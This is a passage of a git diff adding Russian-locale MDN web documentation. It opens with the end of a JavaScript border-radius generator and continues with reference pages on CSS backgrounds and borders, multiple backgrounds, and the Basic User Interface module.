+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		subscribe(obj.topic, function(value) {
+			input.value = value + obj.unit;
+		});
+
+		return input;
+	}
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		});
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		}
+
+		return slider;
+	}
+
+	var InputSlider = function(node) {
+		var min		= node.getAttribute('data-min') | 0;
+		var max		= node.getAttribute('data-max') | 0;
+		var step	= node.getAttribute('data-step') | 0;
+		var value	= node.getAttribute('data-value') | 0;
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+
+		this.min = min;
+		this.max = max &gt; 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+		node.className = 'ui-input-slider ui-input-slider-container';
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	}
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		if (send_notify !== undefined &amp;&amp; send_notify === false) {
+			slider.input.value = value + slider.unit;
+			return;
+		}
+
+		notify.call(slider);
+	}
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	}
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	}
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	}
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		getNode : getNode,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+		}
+		catch(error) {
+			console.log(error);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function() {
+	BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	var subject;
+	var units = ['px', '%'];
+	var output = null;
+
+	var UnitSelector = function UnitSelector(topic) {
+
+		this.container = document.createElement("div");
+		this.select = document.createElement("select");
+		for (var i in units) {
+			var option = document.createElement("option");
+			option.value = i;
+			option.textContent = units[i];
+			this.select.appendChild(option);
+		}
+
+		this.container.className = 'dropdown ' + 'unit-' + topic;
+		this.container.appendChild(this.select);
+	}
+
+	UnitSelector.prototype.setValue = function setValue(value) {
+		this.salect.value = value;
+	}
+
+
+	var RadiusContainer = function RadiusContainer(node) {
+		var radius = document.createElement('div');
+		var handle = document.createElement('div');
+		var x = node.getAttribute('data-x');
+		var y = node.getAttribute('data-y');
+		var active = false;
+
+		this.id = node.id;
+		this.node = node;
+		this.radius = radius;
+		this.handle = handle;
+		this.width = 100;
+		this.height = 50;
+		this.size = 0;
+		this.rounded = false;
+
+		this.unitX = 0;
+		this.unitY = 0;
+		this.unitR = 0;
+
+		this.maxW = 100;
+		this.maxH = 100;
+		this.maxR = 100;
+
+		this.topic = y + '-' + x;
+
+		var sliderW = InputSliderManager.getNode(this.topic + '-w');
+		var sliderH = InputSliderManager.getNode(this.topic + '-h');
+		var sliderR = InputSliderManager.getNode(this.topic);
+
+		this.setUnitX(this.unitX);
+		this.setUnitY(this.unitY);
+		this.setUnitR(this.unitR);
+
+		this.updateWidth();
+		this.updateHeight();
+		this.updateRadius();
+
+		if (x === 'left')	this.resizeX =  1;
+		if (x === 'right')	this.resizeX = -1;
+		if (y === 'top')	this.resizeY =  1;
+		if (y === 'bottom')	this.resizeY = -1;
+
+		radius.className = 'radius';
+
+		var unit_selector = document.getElementById("unit-selection");
+		var unitW = new UnitSelector(this.topic + '-w');
+		var unitH = new UnitSelector(this.topic + '-h');
+		var unitR = new UnitSelector(this.topic);
+
+		unit_selector.appendChild(unitW.container);
+		unit_selector.appendChild(unitH.container);
+		unit_selector.appendChild(unitR.container);
+		node.appendChild(radius);
+		subject.appendChild(handle);
+
+		unitW.select.addEventListener('change', function(e) {
+			this.setUnitX(e.target.value | 0);
+		}.bind(this));
+
+		unitH.select.addEventListener('change', function(e) {
+			this.setUnitY(e.target.value | 0);
+		}.bind(this));
+
+		unitR.select.addEventListener('change', function(e) {
+			this.setUnitR(e.target.value | 0);
+		}.bind(this));
+
+		if (x === 'left' &amp;&amp; y == 'top') handle.className = 'handle handle-top-left'
+		if (x === 'right' &amp;&amp; y == 'top') handle.className = 'handle handle-top-right';
+		if (x === 'right' &amp;&amp; y == 'bottom') handle.className = 'handle handle-bottom-right';
+		if (x === 'left' &amp;&amp; y == 'bottom') 	handle.className = 'handle handle-bottom-left';
+
+		handle.addEventListener("mousedown", function(e) {
+			active = true;
+			this.radius.style.display = 'block';
+			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		document.addEventListener("mouseup", function(e) {
+			this.radius.style.display = 'none';
+			if (active === true)
+				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+		ButtonManager.subscribe(this.topic, function(value) {
+			this.rounded = value;
+			if (value === true) {
+				unitW.container.style.display = 'none';
+				unitH.container.style.display = 'none';
+				unitR.container.style.display = 'block';
+				sliderW.style.display = 'none';
+				sliderH.style.display = 'none';
+				sliderR.style.display = 'block';
+				this.setUnitR(this.unitR);
+				this.updateRadius();
+			}
+
+			if (value === false) {
+				unitW.container.style.display = 'block';
+				unitH.container.style.display = 'block';
+				unitR.container.style.display = 'none';
+				sliderW.style.display = 'block';
+				sliderH.style.display = 'block';
+				sliderR.style.display = 'none';
+				this.setUnitX(this.unitX);
+				this.setUnitY(this.unitY);
+				this.updateWidth();
+				this.updateHeight();
+			}
+
+			this.updateBorderRadius();
+
+		}.bind(this));
+
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.updateWidth = function updateWidth() {
+		this.node.style.width = this.width + units[this.unitX];
+		var value = Math.round(this.width / 2);
+		InputSliderManager.setValue(this.topic + '-w', value, false);
+	}
+
+	RadiusContainer.prototype.updateHeight = function updateHeight() {
+		this.node.style.height = this.height + units[this.unitY];
+		var value = Math.round(this.height / 2);
+		InputSliderManager.setValue(this.topic + '-h', value, false);
+	}
+
+	RadiusContainer.prototype.updateRadius = function updateRadius() {
+		var value = Math.round(this.size / 2);
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		InputSliderManager.setValue(this.topic, value, false);
+	}
+
+	RadiusContainer.prototype.setWidth = function setWidth(value) {
+		this.radius.style.display = 'block';
+		this.width = 2 * value;
+		this.node.style.width = this.width + units[this.unitX];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setHeight = function setHeight(value) {
+		this.radius.style.display = 'block';
+		this.height = 2 * value;
+		this.node.style.height = this.height + units[this.unitY];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setRadius = function setRadius(value) {
+		this.radius.style.display = 'block';
+		this.size = 2 * value;
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+		this.unitX = value;
+		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+		if (this.unitX === 1) this.maxW = 200;
+		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+	}
+
+	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+		this.unitY = value;
+		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+		if (this.unitY === 1) this.maxH = 200;
+		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+	}
+
+	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+		this.unitR = value;
+
+		if (this.unitR === 0)
+			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+		if (this.unitR === 1)
+			this.maxR = 200;
+
+		InputSliderManager.setUnit(this.topic, units[this.unitR]);
+		InputSliderManager.setMax(this.topic, this.maxR / 2);
+	}
+
+	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+		if (this.rounded) {
+			this.setUnitR(this.unitR);
+			return;
+		}
+
+		if (unit === 0)
+			this.setUnitX(this.unitX);
+
+		if (unit === 1)
+			this.setUnitY(this.unitY);
+	}
+
+	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+		if (this.rounded === true) {
+			var unit = units[this.unitR];
+			var value = Math.round(this.size / 2);
+			return value + unit;
+		}
+
+		var unitX = units[this.unitX];
+		var unitY = units[this.unitY];
+		var valueX = Math.round(this.width / 2);
+		var valueY = Math.round(this.height / 2);
+
+		if (valueX === valueY &amp;&amp; this.unitX === this.unitY)
+			return valueX + unitX;
+
+		return valueX + unitX + ' ' + valueY + unitY;
+	}
+
+	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+		var radius = this.composeBorderRadius();
+		var corner = 0;
+
+		if (this.topic === 'top-left') {
+			subject.style.borderTopLeftRadius = radius;
+			corner = 0;
+		}
+
+		if (this.topic === 'top-right') {
+			subject.style.borderTopRightRadius = radius;
+			corner = 1;
+		}
+
+		if (this.topic === 'bottom-right') {
+			subject.style.borderBottomRightRadius = radius;
+			corner = 2;
+		}
+
+		if (this.topic === 'bottom-left') {
+			subject.style.borderBottomLeftRadius = radius;
+			corner = 3;
+		}
+
+		Tool.updateOutput(corner, radius);
+	}
+
+	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+		if (this.rounded === true) {
+			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
+			if (this.size &lt; 0)	this.size = 0;
+			if (this.size &gt; this.maxR)	this.size = this.maxR;
+			this.updateRadius();
+			this.updateBorderRadius();
+			return;
+		}
+
+		if (deltaX) {
+			this.width += this.resizeX * deltaX;
+			if (this.width &lt; 0)	this.width = 0;
+			if (this.width &gt; this.maxW)	this.width = this.maxW;
+			this.updateWidth();
+		}
+
+		if (deltaY) {
+			this.height += this.resizeY * deltaY;
+			if (this.height &lt; 0) this.height = 0;
+			if (this.height &gt; this.maxH)	this.height = this.maxH;
+			this.updateHeight();
+		}
+
+		if (deltaX || deltaY)
+			this.updateBorderRadius();
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview;
+		var preview_ui;
+		var radius_containers = [];
+		var border_width = 3;
+		var borders1 = [null, null, null, null];
+		var borders2 = [0, 0, 0, 0];
+
+		var updateUIWidth = function updateUIWidth(value) {
+			var pwidth = subject.parentElement.clientWidth;
+			var left = (pwidth - value) / 2;
+			subject.style.width = value + "px";
+
+			for (var i = 0; i &lt; 4; i++)
+				radius_containers[i].updateUnits(0);
+		}
+
+		var updateUIHeight = function updateUIHeight(value) {
+			var pheight = subject.parentElement.clientHeight;
+			var top = (pheight - value) / 2;
+			subject.style.height = value + "px";
+			subject.style.top = top - border_width + "px";
+
+			for (var i = 0; i &lt; 4; i++)
+				radius_containers[i].updateUnits(1);
+		}
+
+		var updatePreviewUIWidth = function updatePreviewUIWidth() {
+			var p = subject.parentElement.clientWidth;
+			var v = preview_ui.clientWidth;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.left = (p - v) / 2 + "px" ;
+		}
+
+		var updatePreviewUIHeight = function updatePreviewUIHeight() {
+			var p = subject.parentElement.clientHeight;
+			var v = preview_ui.clientHeight;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.top = (p - v) / 2 + "px" ;
+		}
+
+		var updateOutput = function updateOutput(corner, radius) {
+			var values = radius.split(" ");
+
+			borders1[corner] = values[0];
+			borders2[corner] = values[0];
+
+			if (values.length === 2)
+				borders2[corner] = values[1];
+
+			var border_1_value = borders1.join(" ");
+			var border_2_value = borders2.join(" ");
+			var border_radius = 'border-radius: ' + border_1_value;
+
+			if (border_2_value !== border_1_value)
+				border_radius += ' / ' + border_2_value;
+
+			border_radius += ';';
+			output.textContent = border_radius;
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+			subject = getElemById("subject");
+			output = getElemById("output");
+			preview_ui = getElemById("radius-ui-sliders");
+
+			var elem = document.querySelectorAll('.radius-container');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				radius_containers[i] = new RadiusContainer(elem[i]);
+
+			InputSliderManager.subscribe("width", updateUIWidth);
+			InputSliderManager.subscribe("height", updateUIHeight);
+
+			InputSliderManager.setValue("width", subject.clientWidth);
+			InputSliderManager.setValue("height", subject.clientHeight);
+		}
+
+		return {
+			init : init,
+			updateOutput : updateOutput
+		}
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		InputSliderManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+</code></pre>
+</div>
+
+<p>{{ EmbedLiveSample('border-radius-generator', '100%', '800px', '') }}</p>
+
+<p> </p>
diff --git a/files/ru/web/css/css_background_and_borders/index.html b/files/ru/web/css/css_background_and_borders/index.html
new file mode 100644
index 0000000000..87b26bd607
--- /dev/null
+++ b/files/ru/web/css/css_background_and_borders/index.html
@@ -0,0 +1,154 @@
+---
+title: CSS Background and Borders
+slug: Web/CSS/CSS_Background_and_Borders
+tags:
+  - CSS
+  - CSS Backgrounds and Borders
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>CSS Background and Borders</strong> is a module of CSS that defines how background and borders of elements are described. Borders can be lines or images, boxes can have one or multiple backgrounds, have rounded corners, and shadows.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("background")}}</li>
+ <li>{{cssxref("background-attachment")}}</li>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("border-image")}}</li>
+ <li>{{cssxref("border-image-outset")}}</li>
+ <li>{{cssxref("border-image-repeat")}}</li>
+ <li>{{cssxref("border-image-slice")}}</li>
+ <li>{{cssxref("border-image-source")}}</li>
+ <li>{{cssxref("border-image-width")}}</li>
+ <li>{{cssxref("border-left")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-radius")}}</li>
+ <li>{{cssxref("border-right")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-top")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("border-width")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds">Using CSS multiple backgrounds</a></dt>
+ <dd>Explains how to set backgrounds on elements and how they will interact with it.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Background_and_Borders/Scaling_background_images">Scaling background images</a></dt>
+ <dd>Describes how to change the appearance of the background images, by stretching them or repeating them, to cover the whole background of the element, or not.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/css_background_and_borders/множественные_фоны/index.html b/files/ru/web/css/css_background_and_borders/множественные_фоны/index.html
new file mode 100644
index 0000000000..1e7732dd04
--- /dev/null
+++ b/files/ru/web/css/css_background_and_borders/множественные_фоны/index.html
@@ -0,0 +1,52 @@
+---
+title: Множественные фоны
+slug: Web/CSS/CSS_Background_and_Borders/Множественные_фоны
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Краткое_описание">Краткое описание</h2>
+
+<p><span class="seoSummary">С помощью <a href="/en/CSS/CSS3" title="CSS3">CSS3</a> вы можете применить несколько фонов к элементам. Они будут располагаться поверх друг друга: фон, заданный первым - в самом верху, последний фон - в самом низу.</span></p>
+
+<p>Задать множественные фоны легко:</p>
+
+<pre class="brush: css">.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+</pre>
+
+<p>Вы можете сделать это сокращенным {{ cssxref("background") }} свойством и отдельными свойствами кроме {{ cssxref("background-color") }}. Таким образом следующие свойства могут быть определены в виде списка по одному на фон: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере три фона: логотип Firefox, <a href="/en/CSS/linear-gradient" title="en/CSS/-moz-linear-gradient">линейный градиент</a> и изображение пузырей:</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="multi_bg_example"&gt;&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.multi_bg_example {
+  width: 100%;
+  height: 400px;
+  background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png), url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+  background-repeat: no-repeat, no-repeat, no-repeat;
+  background-position: bottom right, left, right;
+  background: -moz-linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)), -webkit-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)), -ms-linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+}</pre>
+
+<h2 id="Результат">Результат</h2>
+
+<p>(If image does not appear in CodePen, click the TIdy button in the CSS section)</p>
+
+<p>{{EmbedLiveSample('Example','100%','400')}}</p>
+
+<p>Как вы можете видеть, логотип Firefox (первый в списке) расположен сверху, далее идет градиент и в самом низу фон с пузырями. Каждое последующее под-свойство ({{ cssxref("background-repeat") }} и {{ cssxref("background-position") }}) применяется к соответствующим фонам. Например первое значение свойства {{ cssxref("background-repeat") }} применяется к первому фону, и т.д.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_gradients" title="en/Using gradients">Using CSS gradients</a></li>
+</ul>
diff --git a/files/ru/web/css/css_basic_user_interface/index.html b/files/ru/web/css/css_basic_user_interface/index.html
new file mode 100644
index 0000000000..34c7874266
--- /dev/null
+++ b/files/ru/web/css/css_basic_user_interface/index.html
@@ -0,0 +1,74 @@
+---
+title: CSS Basic User Interface
+slug: Web/CSS/CSS_Basic_User_Interface
+tags:
+  - CSS
+  - CSS Basic User Interface
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Basic_User_Interface
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>CSS Basic User Interface</strong> is a CSS module that lets you define the rendering and functionality of features related to the user interface.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("appearance")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("box-sizing")}}</li>
+ <li>{{CSSxRef("cursor")}}</li>
+ <li>{{CSSxRef("ime-mode")}} {{Deprecated_Inline}}</li>
+ <li>{{CSSxRef("nav-down")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-left")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-right")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-up")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("outline")}}</li>
+ <li>{{CSSxRef("outline-width")}}</li>
+ <li>{{CSSxRef("outline-style")}}</li>
+ <li>{{CSSxRef("outline-color")}}</li>
+ <li>{{CSSxRef("outline-offset")}}</li>
+ <li>{{CSSxRef("resize")}}</li>
+ <li>{{CSSxRef("text-overflow")}}</li>
+ <li>{{CSSxRef("user-select")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property">Using URL values for the <code>cursor</code> property</a></dt>
+ <dd>Explains how a URL can be used with the {{CSSxRef("cursor")}} property to produce custom cursors.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Basic UI")}}</td>
+   <td>{{Spec2("CSS4 Basic UI")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Basic UI")}}</td>
